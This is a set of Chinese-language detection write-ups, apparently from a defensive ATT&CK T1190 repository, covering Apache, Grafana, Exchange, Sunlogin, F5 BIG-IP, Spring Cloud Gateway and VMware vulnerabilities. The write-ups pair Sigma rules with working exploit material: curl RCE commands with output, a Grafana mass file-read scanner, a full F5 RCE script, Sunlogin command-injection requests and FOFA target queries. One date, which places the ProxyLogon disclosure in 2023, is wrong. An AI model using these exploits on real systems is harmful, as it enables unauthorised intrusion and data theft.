www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #0 to host 10.211.55.10 left intact
* Closing connection 0
```
在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
```
yml
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
```
```
yml
curl -v --data "echo;id" 'http://10.211.55.10:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
* Trying 10.211.55.10...
* TCP_NODELAY set
* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)
> POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
> Host: 10.211.55.10:8080
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 7
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 7 out of 7 bytes
< HTTP/1.1 200 OK
< Date: Sun, 10 Oct 2021 05:34:09 GMT
< Server: Apache/2.4.50 (Unix)
< Transfer-Encoding: chunked
<
uid=1(daemon) gid=1(daemon) groups=1(daemon)
* Connection #0 to host 10.211.55.10 left intact
* Closing connection 0
```
## 检测日志
HTTP.log
```
http.log
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
Host: 10.211.55.10:8080
User-Agent: curl/7.64.1
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 10 Oct 2021 05:39:09 GMT
Server: Apache/2.4.50 (Unix)
Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
ETag: "39e-5cceec7356000"
Accept-Ranges: bytes
Content-Length: 926
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```
```
http.log
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 10.211.55.10:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 7
Content-Type: application/x-www-form-urlencoded
echo;idHTTP/1.1 200 OK
Date: Sun, 10 Oct 2021 05:39:11 GMT
Server: Apache/2.4.50 (Unix)
Transfer-Encoding: chunked
2d
uid=1(daemon) gid=1(daemon) groups=1(daemon)
0
```
## 测试复现
可参考漏洞详情部分
## 检测规则/思路
### sigma规则
```
yml
title: CVE-2021-42013-Apache HTTP Server 2.4.50路径穿越漏洞
status: 测试状态
description: 基于HTTP日志进行检测
references:
- https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-42013/README.zh-cn.md
detection:
selection:
cs-method:
- 'GET' #请求方法为GET
- 'POST' #请求方法为POST
c-uri: '.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- 观察返回状态码是否为200 OK。
level: high
```
也可以根据自己实际需求,编写suricata规则。
流量包下载位置:
提取码:0wff
### 建议
建议使用HTTP流量+安全设备(如天眼等)进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190
Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013)
================================================
FILE: Web/2021/T1190-CVE-2021-43798-Grafana任意文件读取漏洞.md
================================================
# T1190-CVE-2021-43798 Grafana 任意文件读取漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。Grafana 存在未授权任意文件读取漏洞,攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。
影响范围:Grafana 8.0.0-beta1 to 8.3.0
FOFa查询语句:app="Grafana"
## 检测日志
HTTP.log
## 测试复现
漏洞利用方式建议参考:Grafana未授权任意文件读取漏洞
具体POC可参考:
```
python
# coding:utf-8
# Author:绯夜 By T00ls.Net
import requests,urllib3
import urllib.request
import ssl
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
urls = open('url.txt')
headers = {
'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"
}
for i in urls:
url = i.rstrip("\n")
list = ['/public/plugins/alertGroups/../../../../../../../../etc/passwd',
'/public/plugins/alertlist/../../../../../../../../etc/passwd',
'/public/plugins/alertmanager/../../../../../../../../etc/passwd',
'/public/plugins/annolist/../../../../../../../../etc/passwd',
'/public/plugins/barchart/../../../../../../../../etc/passwd',
'/public/plugins/bargauge/../../../../../../../../etc/passwd',
'/public/plugins/canvas/../../../../../../../../etc/passwd',
'/public/plugins/cloudwatch/../../../../../../../../etc/passwd',
'/public/plugins/dashboard/../../../../../../../../etc/passwd',
'/public/plugins/dashlist/../../../../../../../../etc/passwd',
'/public/plugins/debug/../../../../../../../../etc/passwd',
'/public/plugins/elasticsearch/../../../../../../../../etc/passwd',
'/public/plugins/gauge/../../../../../../../../etc/passwd',
'/public/plugins/geomap/../../../../../../../../etc/passwd',
'/public/plugins/gettingstarted/../../../../../../../../etc/passwd',
'/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd',
'/public/plugins/grafana/../../../../../../../../etc/passwd',
'/public/plugins/graph/../../../../../../../../etc/passwd',
'/public/plugins/graphite/../../../../../../../../etc/passwd',
'/public/plugins/heatmap/../../../../../../../../etc/passwd',
'/public/plugins/histogram/../../../../../../../../etc/passwd',
'/public/plugins/influxdb/../../../../../../../../etc/passwd',
'/public/plugins/jaeger/../../../../../../../../etc/passwd',
'/public/plugins/live/../../../../../../../../etc/passwd',
'/public/plugins/logs/../../../../../../../../etc/passwd',
'/public/plugins/loki/../../../../../../../../etc/passwd',
'/public/plugins/mixed/../../../../../../../../etc/passwd',
'/public/plugins/mssql/../../../../../../../../etc/passwd',
'/public/plugins/mysql/../../../../../../../../etc/passwd',
'/public/plugins/news/../../../../../../../../etc/passwd',
'/public/plugins/nodeGraph/../../../../../../../../etc/passwd',
'/public/plugins/opentsdb/../../../../../../../../etc/passwd',
'/public/plugins/piechart/../../../../../../../../etc/passwd',
'/public/plugins/pluginlist/../../../../../../../../etc/passwd',
'/public/plugins/postgres/../../../../../../../../etc/passwd',
'/public/plugins/prometheus/../../../../../../../../etc/passwd',
'/public/plugins/stat/../../../../../../../../etc/passwd',
'/public/plugins/state-timeline/../../../../../../../../etc/passwd',
'/public/plugins/status-history/../../../../../../../../etc/passwd',
'/public/plugins/table-old/../../../../../../../../etc/passwd',
'/public/plugins/table/../../../../../../../../etc/passwd',
'/public/plugins/tempo/../../../../../../../../etc/passwd',
'/public/plugins/testdata/../../../../../../../../etc/passwd',
'/public/plugins/text/../../../../../../../../etc/passwd',
'/public/plugins/timeseries/../../../../../../../../etc/passwd',
'/public/plugins/welcome/../../../../../../../../etc/passwd',
'/public/plugins/xychart/../../../../../../../../etc/passwd',
'/public/plugins/zipkin/../../../../../../../../etc/passwd',]
for i in list:
urls = url +i
try:
try:
request = urllib.request.urlopen(urls,timeout=8)
content = request.read().decode('utf-8')
except:
request = urllib.request.urlopen(urls, context=ssl._create_unverified_context(),timeout=8)
content = request.read().decode('utf-8')
if 'root:x:0:0:root' in content:
print("[+] Sussess "+urls)
result = urls+"==>Success"
with open("Success.txt", "a+") as a:
a.write(result + '\n')
break
except:
print("[*] Failed")
```
## 测试留痕
暂未进行实际有效的测试,故引用他人测试数据信息。
## 检测规则/思路
### Sigma规则
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
```
yml
title: CVE-2021-43798 Grafana 任意文件读取漏洞
status: experimental
description: Grafana 存在未授权任意文件读取漏洞,攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。
references:
- https://saucer-man.com/information_security/856.html
author: 12306Br0
date: 2021/12/09
tags:
- attack.initial_access
- attack.t1190
logsource:
category: webserver
detection:
selection:
cs-method: 'GET'
c-uri|contains|all:
- '/../../../../../../../../'
- '/public/plugins'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: critical
```
### 建议
观察请求包与响应报内容。如请求路径中包含/etc/passwd,代表攻击者尝试读取/etc/passwd下密码信息,如响应状态码为200,且响应包中包含root:x:0:0:root,意味着攻击成功;如请求路径中包含/var/lib/grafana/grafana.db,代表攻击者尝试读取数据库文件,如果响应状态码为200,且响应包z中包含SQLite format,很意味着攻击成功。
## 参考推荐
MITRE-ATT&CK-T1190
Grafana 未授权任意文件读取漏洞
CVE-2021-43798 Grafana 任意文件读取漏洞分析
朴实无华的Grafana未授权任意文件读取漏洞批量验证脚本
================================================
FILE: Web/2021/T1190-Exchange-ProxyLogon利用行为检测.md
================================================
# T1190-Exchange-ProxyLogon利用行为检测------------------------------------------------------------------------------------------------------------------------------------------------------
## 来自ATT&CK的描述------------------------------------------------------------------------------------------------------------------------------------------------------
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。------------------------------------------------------------------------------------------------------------------------------------------------------
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。------------------------------------------------------------------------------------------------------------------------------------------------------
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。------------------------------------------------------------------------------------------------------------------------------------------------------
## ProxyLogon------------------------------------------------------------------------------------------------------------------------------------------------------
在2023年3月份,微软公布了多个Microsoft Exchange的高危漏洞,通过组合利用这些漏洞可以在未经身份验证的情况下远程获取服务器权限。这套组合拳被称为ProxyLogon。安全研究员Orange Tsai于2020年底发现该系列漏洞并命名。------------------------------------------------------------------------------------------------------------------------------------------------------
CVE-2021-26855是一个SSRF漏洞,利用该漏洞可以绕过Exchange的身份验证,CVE-2021-27065是一个文件写入漏洞。二者结合可以在未登录的状态下写入webshell。------------------------------------------------------------------------------------------------------------------------------------------------------
想要成功的利用该漏洞,整个攻击链接可能经过以下步骤:------------------------------------------------------------------------------------------------------------------------------------------------------
* 通过SSRF漏洞攻击,访问autodiscover.xml泄露LegacyDN信息。
* 在通过LegacyDN,获取SID。
* 然后通过合法的SID,获取exchange的有效cookie。
* 最后通过有效的cookie,对OABVirtualDirectory对象进行恶意操作,写入一句话木马,达到控制目标的效果。------------------------------------------------------------------------------------------------------------------------------------------------------
## 测试案例------------------------------------------------------------------------------------------------------------------------------------------------------
参考Freebuf文章:MS Exchange攻击日志分析三------------------------------------------------------------------------------------------------------------------------------------------------------
## 检测日志------------------------------------------------------------------------------------------------------------------------------------------------------
MSExchange CmdletLogs------------------------------------------------------------------------------------------------------------------------------------------------------
## 测试留痕------------------------------------------------------------------------------------------------------------------------------------------------------
暂无------------------------------------------------------------------------------------------------------------------------------------------------------
## 检测规则/思路------------------------------------------------------------------------------------------------------------------------------------------------------
### sigma规则------------------------------------------------------------------------------------------------------------------------------------------------------
```
title: MSExchange CmdletLogs monitors ProxyLogon webshell writing behavior
description: windows server 2016
author: DHZN
logsource:
product: windows
service: MSExchange CmdletLogs
detection:
selection:
EventID: 1
Message|contains|all:
- 'Set-'
- 'VirtualDirectory'
- '-ExternalUrl'
- 'script'
condition: selection
level: medium------------------------------------------------------------------------------------------------------------------------------------------------------
```
- -----------------------------------------------------------------------------------------------------------------------------------------------------
### 建议------------------------------------------------------------------------------------------------------------------------------------------------------
暂无------------------------------------------------------------------------------------------------------------------------------------------------------
## 参考推荐------------------------------------------------------------------------------------------------------------------------------------------------------
[ProxyLogon漏洞分析](https://hosch3n.github.io/2021/08/22/ProxyLogon%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)------------------------------------------------------------------------------------------------------------------------------------------------------
[Exchange漏洞分析(一):SSRF RCE(CVE-2021-26855、CVE-2021-27065)](https://www.anquanke.com/post/id/259902)------------------------------------------------------------------------------------------------------------------------------------------------------
[复现Microsoft Exchange Proxylogon漏洞利用链](https://xz.aliyun.com/t/9305#toc-8)------------------------------------------------------------------------------------------------------------------------------------------------------
[Falcon Complete Stops Microsoft Exchange Server Zero-Day Exploits](https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits/)------------------------------------------------------------------------------------------------------------------------------------------------------
[HAFNIUM targeting Exchange Servers with 0-day exploits](https://www.microsoft.com/en-us/security/blog/2021/03/02/hafnium-targeting-exchange-servers/)------------------------------------------------------------------------------------------------------------------------------------------------------
================================================
FILE: Web/2021/T1190-Exchange-ProxyShell利用行为检测.md
================================================
# T1190-Exchange-ProxyShell利用行为检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## ProxyShell
ProxyShell攻击链是2021年8月由安全研究员Kevin Beaumont发现的一系列Microsoft Exchange服务器漏洞。这些漏洞影响了Exchange Server 2016、Exchange Server 2019、Exchange Server 2021和Exchange Online。
ProxyShell攻击链由三个CVE漏洞组成:
- CVE-2021-34473:未经身份验证的用户可以通过修改请求头来访问Exchange服务器中的PowerShell端点。
- CVE-2021-34523:攻击者可以通过修改请求头来绕过Exchange服务器的身份验证。
- CVE-2021-31207:攻击者可以通过修改请求头来执行任意PowerShell脚本。
## 测试案例
参考Freebuf文章:MS Exchange攻击日志分析三
## 检测日志
MSExchange CmdletLogs
## 测试留痕
暂无
## 检测规则/思路
### sigma规则
```
title: Use MSExchange CmdletLogs or Powershell logs to monitor ProxShell vulnerability exploitation behavior
description: windows server 2016
author: DHZN
logsource:
product: windows
service: MSExchange CmdletLogs/PoweShell
detection:
selection1:
EventID: 1
Message|contains|all:
- 'New-MailboxExportRequest'
- 'FilePath'
selection2:
EventID: 4104
Message|contains|all: 'Get-MailboxExportRequest'
condition: selection
level: medium
```
### 建议
暂无
## 参考推荐
[pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers](https://www.mandiant.com/resources/blog/pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers)
[ProxyShell漏洞复现](https://ad-calcium.github.io/2021/08/exchange-proxyshell%E5%A4%8D%E7%8E%B0/)
================================================
FILE: Web/2022/T1190-CNVD-2022-03672-向日葵RCE漏洞.md
================================================
# T1190-CNVD-2022-03672-向日葵RCE漏洞检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
上海贝锐信息科技股份有限公司的向日葵远控软件存在远程代码执行漏洞(CNVD-2022-10270/CNVD-2022-03672),影响Windows系统使用的个人版和简约版,攻击者可利用该漏洞获取服务器控制权。
影响版本
```
yml
向日葵个人版 for Windows <= 11.0.0.33
向日葵简约版 <= V1.0.1.43315(2021.12
```
## 检测日志
HTTP
## 测试复现
网络上公开工具较多,可自行下载进行本地测试,请勿进行非法测试。
攻击机:kali,10.211.55.35
靶机:win10,10.211.55.31
```
bash
┌──(root㉿361)-[/home/liyang]
└─# ./sunrce -h 10.211.55.31 -p 40000-60000 -m 1000
[+] start to scan open port......
10.211.55.31:50340 open |Success discovery the sunrce vulnerability
10.211.55.31:49666 open |NULL
10.211.55.31:49669 open |NULL
10.211.55.31:49665 open |NULL
10.211.55.31:49668 open |NULL
10.211.55.31:49664 open |NULL
10.211.55.31:49667 open |NULL
10.211.55.31:49670 open |NULL
SunRce vulnerability scan over
# 探测向日葵使用的端口
```
```
bash
──(root㉿361)-[/home/liyang]
└─# ./sunrce -h 10.211.55.31 -ps 50340 -shell
Cmd:whoami
nt authority\system
Cmd:net user
\\ 的用户帐户
Administrator DefaultAccount Guest
liyang WDAGUtilityAccount
命令运行完毕,但发生一个或多个错误。
Cmd:exit
```
## 漏洞分析/日志留痕
### 未授权认证
当SunloginCLient.exe在Windows上执行时,会连接远程Oray的服务器,同时也会打开一个大于40000的端口监听外部的连接访问(具体是否从40000往上随即开启端口,这个没有调试,网上是这么说的,我们主要看的是发生利用的代码部分)。
对其中一部分接口,Sunlogin统一对其进行处理。
接着会执行至函数sub_140E21528,分别对不同接口进行不同的处理。在接口/cgi-bin/rpc的Handler处理函数中可以进行未授权认证。
获取action参数值,如果值为verify-haras,即action=verify-haras,那么可以在没有识别码和验证码的情况下认证成功。
成功后返回一个verify_string,作为之后再次访问时Cookie字段中使用的CID值。
```
bash
GET /cgi-bin/rpc?action=verify-haras HTTP/1.1
Host: 10.211.55.31:50340
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 87
{"__code":0,"enabled":"1","verify_string":"6onb943qKJoXQGAmr1BKArugFlO9949g","code":0}
```
- -----------------
### RCE
漏洞发生在接口/check处,当参数cmd的值以ping或者nslookup开头时可以构造命令实现远程命令执行利用。
发送请求时需要在请求头中指定Cookie字段中CID的值为之前/cgi-bin/rpc返回的verify_string值。下面是通过ping拼接的利用请求。
```
bash
GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+whoami HTTP/1.1
Host: 10.211.55.31:50340
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: CID=6onb943qKJoXQGAmr1BKArugFlO9949g
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/json
Content-Length: 21
nt authority\system
GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+net+user HTTP/1.1
Host: 10.211.55.31:50340
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: CID=6onb943qKJoXQGAmr1BKArugFlO9949g
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/json
Content-Length: 269-
\\ ..........
Administrator DefaultAccount Guest
liyang WDAGUtilityAccount
```
## 监测规则
特征1:
请求数据:GET /cgi-bin/rpc?action=verify-haras,返回数据:verify_string;
特征2:
请求数据:GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe
请求数据:GET /check?cmd=ping%20127.0.0.1%20|%20cmd%20/c%20echo%20whoami%00
请求数据:GET /check?cmd=ping../../../SysWOW64/cmd.exe+/c+net+user
主要是针对常见的拼接路径进行监测,返回数据也存在一些特征,可以根据实际情况进行设置高精准匹配。
### 建议
可根据具体常见的路径进行监测。安全设备+运营人员经验,能够达到更好的效果。
## 参考推荐
MITRE-ATT&CK-T1190
Sunlogin RCE漏洞分析和使用
向日葵远程命令执行程序分析
================================================
FILE: Web/2022/T1190-CVE-2022-1388-F5BIG-IP未授权RCE.md
================================================
# T1190-CVE-2022-1388-F5BIG-IP未授权RCE
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
在F5 BIG-IP 16.1.x 16.1.2.2之前的版本、15.1.5.1之前的15.1.x版本、14.1.4.6之前的14.1.x版本、13.1.5之前的13.1.x版本以及所有12.1.x和11.6.x版本,未公开的请求可能会绕过iControl REST身份验证。注意:未评估已达到技术支持终止(EoTS)的软件版本。
此漏洞可能允许未经身份验证的攻击者通过管理端口和/或自身IP地址对BIG-IP系统进行网络访问,以执行任意系统命令、创建或删除文件或禁用服务。没有数据平面暴露;这只是一个控制平面问题。
## 检测日志
HTTP.log
## 测试复现
[POC地址](https://github.com/horizon3ai/CVE-2022-1388)
具体POC可参考:
```
python
# !/usr/bin/python3
import argparse
import requests
import urllib3
urllib3.disable_warnings()
def exploit(target, command):
url = f'https://{target}/mgmt/tm/util/bash'
headers = {
'Host': '127.0.0.1',
'Authorization': 'Basic YWRtaW46aG9yaXpvbjM=',
'X-F5-Auth-Token': 'asdf',
'Connection': 'X-F5-Auth-Token',
'Content-Type': 'application/json'
}
j = {"command":"run","utilCmdArgs":"-c '{0}'".format(command)}
r = requests.post(url, headers=headers, json=j, verify=False)
r.raise_for_status()
if ( r.status_code != 204 and r.headers["content-type"].strip().startswith("application/json")):
print(r.json()['commandResult'].strip())
else:
print("Response is empty! Target does not seems to be vulnerable..")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-c', '--command', help='The command to execute')
args = parser.parse_args()
exploit(args.target, args.command)
```
## 测试留痕
无
## 检测规则/思路
### Sigma规则
```
yml
title: F5-BIG-IP-RCE(CVE-2022-1388)
status: experimental
description: F5 recently patched a critical vulnerability in their BIG-IP iControl REST endpoint CVE-2022-1388. This vulnerability is particularly worrisome for users because it is simple to exploit and provides an attacker with a method to execute arbitrary system commands.
references:
- https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
- https://www.randori.com/blog/vulnerability-analysis-cve-2022-1388/
author: 12306Br0
date: 2022/05/15
tags:
- attack.t1190
logsource:
category: webserver
detection:
selection:
cs-method: 'POST'
c-uri|contains|all:
- '/mgmt/tm/util/bash'
cs-Connection: '*X-F5-Auth-Token*'
cs-X-F5-Auth-Token: '*'
cs-Authorization: '*'
condition: selection
falsepositives:
- Unknown
level: critical
tags:
- attack.t1190
- cve.2022.1388
```
### 建议
似乎并没有什么好的建议,规则未经过仿真环境测试,请谨慎使用。
## 参考推荐
MITRE-ATT&CK-T1190
CVE-2022-1388
F5 BIG-IP未授权RCE(CVE-2022-1388)分析
================================================
FILE: Web/2022/T1190-CVE-2022-22947-Spring Cloud Gateway远程代码执行漏洞.md
================================================
# T1190-CVE-2022-22947-Spring Cloud Gateway远程代码执行漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
### 简介
2022年3月1日,VMware官方发布漏洞报告,在使用Spring Colud Gateway的应用程序开启、暴露Gateway Actuator端点时,会容易造成代码注入攻击,攻击者可以制造恶意请求,在远程主机进行任意远程执行。
### 受影响版本
```
yml
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
旧的、不受支持的版本也会受到影响
```
### EXP/POC
请勿用做非法用途,仅用于检测测试。
已公开Poc:
```
yml
https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947
```
## 检测日志
HTTP.log
## 测试复现
```
bash
sudo python3 spring_cloud_RCE.py http://123.*.*.*:*
usage: python3 test.py url
{"predicate":"RouteDefinitionRouteLocator$$Lambda$1054/1342702643","route_id":"hacktest","filters":["[[AddResponseHeader Result = 'uid=0(root) gid=0(root) groups=0(root)\n'], order = 1]"],"uri":"http://example.com:80","order":0}
```
## 测试留痕
[流量包下载地址](https://github.com/Network-security-data-sharing/Attack-traffic-PACPs/tree/main/2022/CVE-2022-22947 Spring Cloud ""Gateway远程代码执行.pcapng"")
## 参考推荐
MITRE-ATT&CK-T1190
Spring-Cloud-Gateway-CVE-2022-22947
CVE-2022-22947远程代码执行漏洞复现分析
================================================
FILE: Web/2022/T1190-CVE-2022-22954-VMware Workspace ONE Access SSTI远程代码执行.md
================================================
# T1190-CVE-2022-22954-VMware Workspace ONE Access SSTI远程代码执行
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
### 简介
VMware Workspace ONE Access and Identity Manager包含一个由于服务器端模板注入而导致的远程代码执行漏洞。VMware已将此问题的严重性评估为处于严重严重性范围内 ,CVSSv3基本得分最高为9.8。
具有网络访问权限的恶意行为者可以触发可能导致远程代码执行的服务器端模板注入。
### 受影响版本
```
yml
VMware Workspace ONE Access Appliance (版本号:20.10.0.0 ,20.10.0.1 ,21.08.0.0 ,21.08.0.1 )
VMware Identity Manager Appliance (版本号:3.3.3 , 3.3.4 , 3.3.5 ,3.3.6)
VMware Realize Automation (版本号:7.6)
```
### EXP/POC
请勿用做非法用途,仅用于检测测试。
fofa语法:
```
yml
icon_hash="-1250474341"
